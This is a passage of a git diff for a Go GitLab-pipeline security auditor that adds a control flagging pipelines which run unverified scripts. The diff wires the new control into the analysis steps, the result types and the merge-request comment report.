%q should be flagged (case insensitive), expected 1 issue, got %d", tt.script, len(result.Issues)) + } + }) + } +} diff --git a/control/mrcomment.go b/control/mrcomment.go index e95d553..0f0a316 100644 --- a/control/mrcomment.go +++ b/control/mrcomment.go @@ -204,6 +204,12 @@ func generateMRComment(result *AnalysisResult, compliance, threshold float64) st totalIssues += len(r.Issues) } } + if r := result.UnverifiedScriptsResult; r != nil { + controls = append(controls, controlEntry{"Pipeline must not execute unverified scripts", r.Compliance, len(r.Issues), r.Skipped}) + if !r.Skipped { + totalIssues += len(r.Issues) + } + } // Controls summary table b.WriteString("### Controls\n\n") @@ -373,4 +379,17 @@ func writeIssueDetails(b *strings.Builder, result *AnalysisResult) { } b.WriteString("\n") } + + // Unverified script execution + if r := result.UnverifiedScriptsResult; r != nil && !r.Skipped && len(r.Issues) > 0 { + b.WriteString("**Pipeline must not execute unverified scripts:**\n") + for _, issue := range r.Issues { + if issue.JobName == "(global)" { + fmt.Fprintf(b, "- `%s` Global `%s`: `%s` ([docs](%s))\n", issue.Code, issue.ScriptBlock, issue.ScriptLine, issue.DocURL) + } else { + fmt.Fprintf(b, "- `%s` Job `%s` `%s`: `%s` ([docs](%s))\n", issue.Code, issue.JobName, issue.ScriptBlock, issue.ScriptLine, issue.DocURL) + } + } + b.WriteString("\n") + } } diff --git a/control/task.go b/control/task.go index e3eef88..ee185e4 100644 --- a/control/task.go +++ b/control/task.go @@ -24,6 +24,7 @@ const ( controlPipelineMustNotEnableDebugTrace = "pipelineMustNotEnableDebugTrace" controlPipelineMustNotUseUnsafeVariableExpansion = "pipelineMustNotUseUnsafeVariableExpansion" controlSecurityJobsMustNotBeWeakened = "securityJobsMustNotBeWeakened" + controlPipelineMustNotExecuteUnverifiedScripts = "pipelineMustNotExecuteUnverifiedScripts" ) // shouldRunControl applies --controls / --skip-controls filtering for a control. @@ -74,7 +75,7 @@ func clearProgressLine(conf *configuration.Configuration) { } // analysisStepCount is the total number of progress steps reported during analysis. -const analysisStepCount = 15 +const analysisStepCount = 16 // RunAnalysis executes the complete pipeline analysis for a GitLab project func RunAnalysis(conf *configuration.Configuration) (*AnalysisResult, error) { @@ -473,6 +474,23 @@ func RunAnalysis(conf *configuration.Configuration) (*AnalysisResult, error) { securityJobsWeakenedResult := securityJobsWeakenedConf.Run(pipelineOriginData) result.SecurityJobsWeakenedResult = securityJobsWeakenedResult + // 14. Run Pipeline Must Not Execute Unverified Scripts control + reportProgress(conf, 15, analysisStepCount, "Checking unverified script execution") + l.Info("Running Pipeline Must Not Execute Unverified Scripts control") + + unverifiedScriptsConf := &GitlabPipelineUnverifiedScriptsConf{} + if shouldRunControl(controlPipelineMustNotExecuteUnverifiedScripts, conf) { + if err := unverifiedScriptsConf.GetConf(conf.PlumberConfig); err != nil { + l.WithError(err).Error("Failed to load UnverifiedScripts config from .plumber.yaml file") + return result, fmt.Errorf("invalid configuration: %w", err) + } + } else { + unverifiedScriptsConf.Enabled = false + } + + unverifiedScriptsResult := unverifiedScriptsConf.Run(pipelineOriginData) + result.UnverifiedScriptsResult = unverifiedScriptsResult + reportProgress(conf, analysisStepCount, analysisStepCount, "Analysis complete") l.WithFields(logrus.Fields{ diff --git a/control/types.go b/control/types.go index d7dabf4..b504470 100644 --- a/control/types.go +++ b/control/types.go @@ -38,6 +38,7 @@ type AnalysisResult struct { DebugTraceResult *GitlabPipelineDebugTraceResult `json:"debugTraceResult,omitempty"` VariableInjectionResult *GitlabPipelineVariableInjectionResult `json:"variableInjectionResult,omitempty"` SecurityJobsWeakenedResult *GitlabSecurityJobsWeakenedResult `json:"securityJobsWeakenedResult,omitempty"` + UnverifiedScriptsResult *GitlabPipelineUnverifiedScriptsResult `json:"unverifiedScriptsResult,omitempty"` // Raw collected data (not included in JSON output, used for PBOM generation) PipelineImageData *collector.GitlabPipelineImageData `json:"-"`